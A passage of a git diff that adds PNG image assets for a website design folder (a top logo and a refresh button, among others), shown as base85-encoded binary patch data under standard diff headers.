ztUS1iwkmDaPpj=$m#%)jCVEY4fnLGNg2A-`YwHVD3gv};>)hAvT~AmqS>Lr``i7kw zJ{5_It`yrBmlc25DBO7E8;5VoznR>Ww5hAaxn$2~(q`%A-YuS64wkBy=9dm`4cXeX z4c}I@?e+FW+b@^RDBHV(wnMq2zdX3SWv9u`%{xC-q*U}&`cyXV(%rRT*Z6MH?i+i& z_B8C(+grT%{XWUQ+f@NoP1R=AW&26{v-dx)iK^-Nmiuj8txj!m?Z*Ss1N{dh4z}01 z)YTo*JycSU)+_5r4#yw9{+;i4Ee$peRgIj+;v;ZGdF1K$3E%e~4LaI(jC-u%2h$&R z9cLXcYC@Xwnns&bn)_Q~Te?roKGD|d-g^8;+aC{{G(1^(O7m37Y1-+6)01cN&y1aw zoqc{T`P^XJqPBbIW6s}d4{z_f5Om?vMgNQEJG?v2T=KYd^0M3I6IZxbny)%vZR&LD zJpPl@Psh8QyPB@KTx+@RdcC!KX7}kEo;S|j^u2lU7XQ}Oo;f|;z4Ll+_r>@1-xl3| zawq-H%e&ckC+@AhPrP6BKT#_XdT7&;F71j}Joy zkC~6lh7E@6o;W@^IpRNZ{ptLtL(gQ-CY~4mqW;US7Zxvm_|@yz&e53Bp_lTPlfP|z zrTyx_>lv@x#=^!PzR7qqF<$gm`|ZJZ+;<)Cqu&ot2z=0000WV@Og>004R=004l4008;_004mL004C`008P>0026e000+nl3&F} z000FgNkl?Yi(8KxE>jyk~g;2 zuNkDNR5ewqNed21E3t$o{e09Cba{W?#TB9y|i?ys-kV~nSLJI~|g<>jZJzTR$olqwNZr4x{` zxfw`WUl!}V_wG?uQRXdYcLFsc$s^* zn6)e$k!Cg`-Fn|VGjF#q=W)2xP-9$#gFyp|=XHI5yPiIOi8+4!`iaCC*LXZ0=eaGt zH7{XVZ`*Bu`QuyjWxw5C|M+i=*q%0n0L+jZXG}@nthH8Ipp#HVX1P0w<2YhOU)M3R zJ?`&oEn{ZYIqSk8zFGDDnM%pVt(yZQGcSI%7sX;pXn=(}SV$ONp)D(rM1>oiYzHfM9d19n?N@RCBfa7b^XupuWxT}Uw-}e<%dt#akkboGh!0fdW$Gh zPme1j1V&s{szPt(&123#laVH{yUk2*%hU6x`}+$aQW46?*1CBgX+8V05H{yjB_Mtb0}ucJl0c&hbV5{y1OYUwl7BE>RZ?HNdmCe9 zq@;Dh($07*qoM6N<$f~|eMm;e9( literal 0 HcmV?d00001 diff --git a/design/i/bk-logo-top.png b/design/i/bk-logo-top.png new file mode 100644 index 0000000000000000000000000000000000000000..46f3fa2f0e0a82a640e0ce70faa9e58ee4dcf1ff GIT binary patch literal 18420 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 bKLQK@2uhd>>{_({00000NkvXXu0mjf-n~IC literal 0 HcmV?d00001 diff --git a/design/i/button_refresh_h.png b/design/i/button_refresh_h.png new file mode 100644 index 0000000000000000000000000000000000000000..071774b07e0fa32095172c2bd68a9ede753d8601 GIT binary patch literal 2104 zcmV-82*>w{P)PMZ10j_$!~~TlQB_$Egrb&6P(kX@LV~3xY8w(YO)Dx#2~?HRL`rB;TrW6v zJ}88gI+PeUKx_yB7fg+DVjF+JpY?ubXQubPwbyH)NNqjR?5<|szH{%n=brn7=Xd=S z>=NiQP4fv&a~HeaX|QYy6M5OT4X3Vup=sKl;ZUg0wk*gaz-fkI{vkLtP&#Lcf}ETP 